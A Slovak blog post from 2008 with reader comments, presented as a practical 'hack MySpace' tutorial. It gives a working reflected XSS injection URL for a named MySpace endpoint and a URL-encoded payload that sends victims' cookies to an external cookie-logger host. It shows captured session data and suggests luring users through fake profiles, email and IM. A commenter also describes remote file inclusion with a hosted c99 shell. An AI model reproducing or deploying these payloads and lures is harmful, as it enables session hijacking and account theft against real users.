Feedback Form
Feed subscription » blog | » comments | » irc | » fórum | » mobi | » twitter

XSS v praxi, hacknite si MySpace

XSS v praxi, hacknite si MySpaceUž dlhší čas sa stránim priamej prezentácii techník a POC kódov. Bojím sa ich zneužitia a tak radšej o všetkom píšem len povrchne bez toho, aby som dokazoval funkčnosť týchto tvrdení. Dnes som sa však rozhodol ukázať vám, aký závažný môže byť útok XSS. Nedávno som napísal článok: Najpopulárnejšie útoky XSS a CSRF na výslní, ktorý sa venoval dvom veľmi závažným technikám útoku na web. Ak ste ho nečítali, spravte tak teraz, v tom článku už základy spomínať nebudem. Ak máte seriózny zájem pochopiť problematiku, oba články obsahujú externé odkazy, kde môžete čerpať ďalšie informácie.

MySpace, Murdochov sociálny web ktorý láme už druhý rok rekordy v návštevnosti a popularite je deravý ako sito. Za posledných niekoľko týždňov sa objavili desiatky dier umožňujúcich prieniky asi všetkých typov, ktoré su bežne známe i neznáme. Preto ma nová diera objavená GaSmom vôbec neprekvapila. Keďže tento web nemám ani trošku rád, rozhodol som sa na ňom demonštrovať silu dobre prevedeného XSS.

Čo budeme potrebovať

Budeme potrebovať niekoľko vajíčok, trošku soli, korenie … nie, nie, len si robím srandu, vždy som chcel napísať recept :). Samozrejme v prvom rade je nutná znalosť JavaScriptu, ktorý je gro celého XSS. Potom je nutné nájsť dieru a samozrejme Cookie Logger, teda privátny či verejný skript, ktorý nám bude zaznamenávať prichádzajúce Cookies. Ak máte všetko, môžeme začať.

Postup

Ako prvé je treba nájsť dieru. My použijeme tú od GaSmona (neviem ako dlho bude funkčná, princíp však zostáva nemenný aj v iných prípadoch).
http://sads.myspace.com/index.cfm?fuseaction=popupimporter.carrier&carrier="><script>alert("pfff")</script>&MyToken=
Ako môžete vidieť, nie je ani treba zmena kódovania či iné háčky-mačky, ktoré nedávno popisoval Jake Smith (také pekné ne-anglické meno :)) vo svojom článku Javascript for hackers part 2, ktorý bol mimochodom brilantný a každý, kto chce tejto problematike dokonale rozumieť by si ho mal prečítať.

Takže, teraz nám chyba nejaký Cookie Logger.Cookie Logger je skript ktorý umožňuje odchytávanie prichádzajúcich dát cez protokol http, v tomto prípade Cookies. Ja jeden mám, vy si určite poradíte, po nete sa ich povaľujú tony. Je lepšie ho mať na mieste, kde vás nik nemôže obviniť, ono je to celkom dosť nebezpečné i keď link nepoužijete. Preto odporúčan radšej nájsť jeden či dva cez google a odskúšať si ich funkčnosť. Odporučiť možem napríklad Community Cookie Logger, na testovanie postačí.

Keď už máme všetko pripravené, je čas na vypracovanie exploitu. Najlepšie ako posielať dáta cez JavaScript je DOM location.href, ktorý odošle požadované dáta do Cookie Loggera. V našom prípade, ak chceme získať cookies, zavoláme si document.cookie. Pre odskúšanie si môžete v alerte (linka na bug) namiesto textu zavolať práve document.cookie ktorý vypíše vaše aktuálne cookies pre stránky MySpace.
http://sads.myspace.com/index.cfm?fuseaction=popupimporter.carrier&carrier="><script>alert(document.cookie)</script>&MyToken=
Teraz už by ste mali mať predstavu ako získame cookies, poďme na ich posielanie do Cookie Logera. Pre zopakovanie, ako som už napísal vyššie, cookies zašleme za pomoci location.href a získame ich cez document.cookie. Výsledok môžete vidieť nižšie.
location.href = "http://cookie.logger.com"+document.cookie
Linku prosím neskúšať, je tam len pre ukážku.

Ešte pred spojením celého kódu by som rád ozrejmil jednu vec okolo Community Cookies Loggera. Keď sa zaregistrujete, dostanete vygenerované číslo, ktoré vás identifikuje ako usera. Toto číslo je dôležité, len vďaka nemu vás “systém” rozpozná a uloží dáta do vášho accountu. Toto číslo použijete nasledovane.
http://ccl.whiteacid.org/log.php?707568
Tučne vyznačené číslo je vaše id, ktorým identifikujete svoje konto pre zápis informacií.

Výsledok

http://sads.myspace.com/index.cfm?fuseaction=popupimporter.carrier&carrier=%22%3E%3Cscript%3Elocation.href%20=%20%22http://ccl.whiteacid.org/log.php?707568%22%2bdocument.cookie%3C/script%3E&MyToken=
Výsledkom tejto linky pre “kradnutie” Cookies sú dáta, ktoré môžete vidieť nižšie.
Date: January 2, 2008, 1:52 am
Referer: http://sads.myspace.com/index.cfm?fuseaction=popupimporter.carrier&carrier=%22%3E%3Cscript%3Elocation.href%20=%20%22http://ccl.whiteacid.org/log.php?707568%22%2bdocument.cookie%3C/script%3E&MyToken=
User agent: Male Pivo 9.5 (Windows Pista)
Data: MSCulture=IP=198.87.3.70&IPCulture=en-US&PreferredCulture=en-US&Country=Unknown&ForcedExpiration=0&timeZone=0&USRLOC=QXJlYUNvZGU9MCZDaXR5PSZDb3VudHJ5Q29kZT1BMSZDb3VudHJ5TmFtZT1Bbm9ueW1vdXMgUHJveHkmRG1hQ29kZT0wJkxhdGl0dWRlPTAmTG9uZ2l0dWRlPTAmUG9zdGFsQ29kZT0mUmVnaW9uTmFtZT0%3D&clientTimeZone=9;%20SessionDDF1=4424ddc676838bdb1b15527093b55c1b8a375b63d14384c6
IP: 198.87.3.70

Alebo Screenshot
cookie-data
Hneď by som chcel dodať že konto na MySpace nemám, zbytočne sa budete pokúšať dekódovať dáta :).

Záver Tu to celé zastavím, transportačnú vrstvu nenavrhnem, istota je guľomet. Každopádne existuje množstvo spôsobov ako kód rozšíriť okamžite medzi veľké množstvo užívateľov MySpace. Asi najlepším je vytvorenie vlastného profilu a vloženie zaujímavého obsahu, napríklad fan stránka o Paris Hilton, ktorá si opäť zabudla nohavičky, veď v strese chudera, starý otec jej nechce nehať majetok, alebo niečo podobné, kreativite sa medze nekladú. Rovnako dobré je využitie emailu či niektorý z IM (icq, msn atď.). Najlepšie je linku vpratať do obrázku, poprípade do časti, ktorú istotne užívatelia neprehliadnu (mouseOver na obrázok s nejakým pekným odkazom).

Ako môžete vidieť, útok nie je časovo a ani technologicky náročný, pár minút a je hotovo. O to je táto metóda nebezpečnejšia, nevyžaduje žiadne veľké znalosti programovania a tak si môžu školáci robiť vzájomne zle. Horšie je keď už o niečo ide, ako napríklad o peniaze. Posledný XSS na paypal fungoval 6 mesiacov, paypal si uvedomil silu tohto útoku až keď ľudom zmizlo množstvo peňazí.

Spôsob ochrany

V podstate nie je vo vašej moci kontrolovať obsah stránok, preto odporúčam používať prehliadač Firefox s doplnkom NoScript, ktorý takýmto útokom zabraňuje (viď screenshot nižšie).
noscript-error



Príbuzné články:
  • Privátne fotografie Paris Hilton a Lindsay Lohan odcudzené z profilov MySpace vďaka DataPortability
  • Objavil sa 17GB súbor obsahujúci fotografie z privátnych profilov na MySpace!
  • MySpace vyhral súd proti spamerom vo výške $234 miliónov
  • FD: Hacknite si nové VideoAlbumy Azet.sk
  • FD: Hacknite si blog.sme.sk za pomoci XSS


  • 12 Responses to “XSS v praxi, hacknite si MySpace”


    1. 1 kylee Jan 2nd, 2008 at 14:04

      co takto clanok o RFI ?

    2. 2 oooo Jan 2nd, 2008 at 14:38

      no na rfi nie je nic zaujimave, plus uz to popisalo kopec ludi predo mnou. rfi sa nemeni, je jednotne, zalozene na jednoduchej teorii. tam kde robis include na zaklade vstupnych dat ktore su podvrhnutelne, tam rfi funguje. ale hej, mozem sa na to pozriet, aspon opisem c99 a rsc
      dakujem za pripomienku

    3. 3 kylee Jan 2nd, 2008 at 16:31

      no ako c99 taky litle clanok b bol podla mna celkom fajn, ved rfi je vlastne php injekcia ibaze sa tam vlozi shell teda ak tomu dobre chapem, napr. http://www.microsoft./?options=2 a predpokladajme ze stranka je náchylna tak na svoj server si dam c99 a uz len dam prikaz aby sa vykonal http//:www.microsoft./?options=http://www.mojadomena.sk/c99.php takto tomu chapem ja, neviem ci je to spravna teoria :D

    4. 4 oooo Jan 3rd, 2008 at 01:34

      ano, rozumies tomu dobre. rfi je remote file inclusion.
      nie je to zlozite, staci najst rfi dieru, kde na zaklade vstupu dat cez niektoru z metod nacitavas stranky, uz o tom bolo popisaneho vazne hodne vela, ja sa na to ale pozriem blizsie niekedy inokedy, teraz mam celkom dost vela roboty a zaujimavych clankov

    5. 5 2ge Jan 3rd, 2008 at 10:18

      pekne. mna by skorej zaujmalo, ako programatori maju tieto veci osetrovat (resp, kde spravili chybu), aby to nebolo pisane len “jednostranne”

    6. 6 oooo Jan 3rd, 2008 at 10:56
    7. 7 majak Jan 3rd, 2008 at 11:26

      no, na RFI pokial sa nemylim uplne staci vypnut v php allow_url_include. (co existuje od php 5.2.0 a je defaultne vypnute)

    8. 8 oooo Jan 3rd, 2008 at 12:37

      pravda, no kolko ludi (serverov) dnes ma 5.2.0. vlastne ono je logicka chyba robit include na zaklade vstupu od usera. include by mal byt staticky, pri najhorsom dynamicky nastaveny. rfi casto aj zalezi od register_global on, kazdopadne tu s nami este nejaky ten patecek pobudne

    9. 9 kylee Jan 3rd, 2008 at 12:45

      no ok, sice poriadny clanok o rfi som nenasiel, niekto este v sk

    10. 10 oooo Jan 3rd, 2008 at 13:05

      ako som povedal, pozriem na to, ale je stale dost vela tem ktore ma zaujimaju viac a o ktorych by som chcel popisat vyse. teraz by som rad pustil temu kreditne karty, ibanking a bezpecnost, tak uvidime

    11. 11 sweed Jan 6th, 2008 at 01:33

      mam rad tvuj blog chlape :-) clovek se tu dovida zpoustu zajimavych veci. nejsem zadnej fanatik, co se security na webu tyce, ale myslim si, ze clovek by mel mit nejakej ten vseobecnej prehled. uz se tesim, co se objevi okolo toho ibankingu a karet. myslim si, ze je to cely dost prustrelny, i kdyz se to ted mozna s 3D secure zlepsi, ale zase je to jen heslo navic, co si clovek musi pamatovat nebo napsat, aby ho nezapomenul ;-) casy kdy se daly podle jedny karty dopocitat dalsi fungujici uz jsou sice zrejmne pryc, ale stejne se porad objevuji nove zpusoby, jak se k cislum nebo spise k celym databazim dostat.
      no pockam si, co se zase dozvim.

      v kazdem pripade drzim palce v tom co delas a preju hodne uspechu v novem roce

    12. 12 oooo Jan 6th, 2008 at 07:09

      dakujem, cloveku hned lepsie padne pisat o niecom, ked to ludi bavi-zaujima
      3d sec v zahranici bezne funguje (uk je dobry priklad) a ked som posielal lloyds tbs mail, ze tam maju dieru, tak mi odpisali ze zneuzitie ich systemu je protipravne a mozem byt trestne stihany. dodnes bug funguje. viac dodat nemusim. 3d nie je problemom od jeho vzniku, je velmi krasny bypass, ktory funguje od pociatkov. navody samozrejme davat nebudem, ale jasne ze sa na tento problem pozriem. musim si vsak davat pozor, hodne veci je patentovanych a “tajnych”, a ist sediet za to ze som nieco zle zinterpretoval alebo nebodaj som sa moc rozohnil, to si nemozem dovolit

    Leave a Reply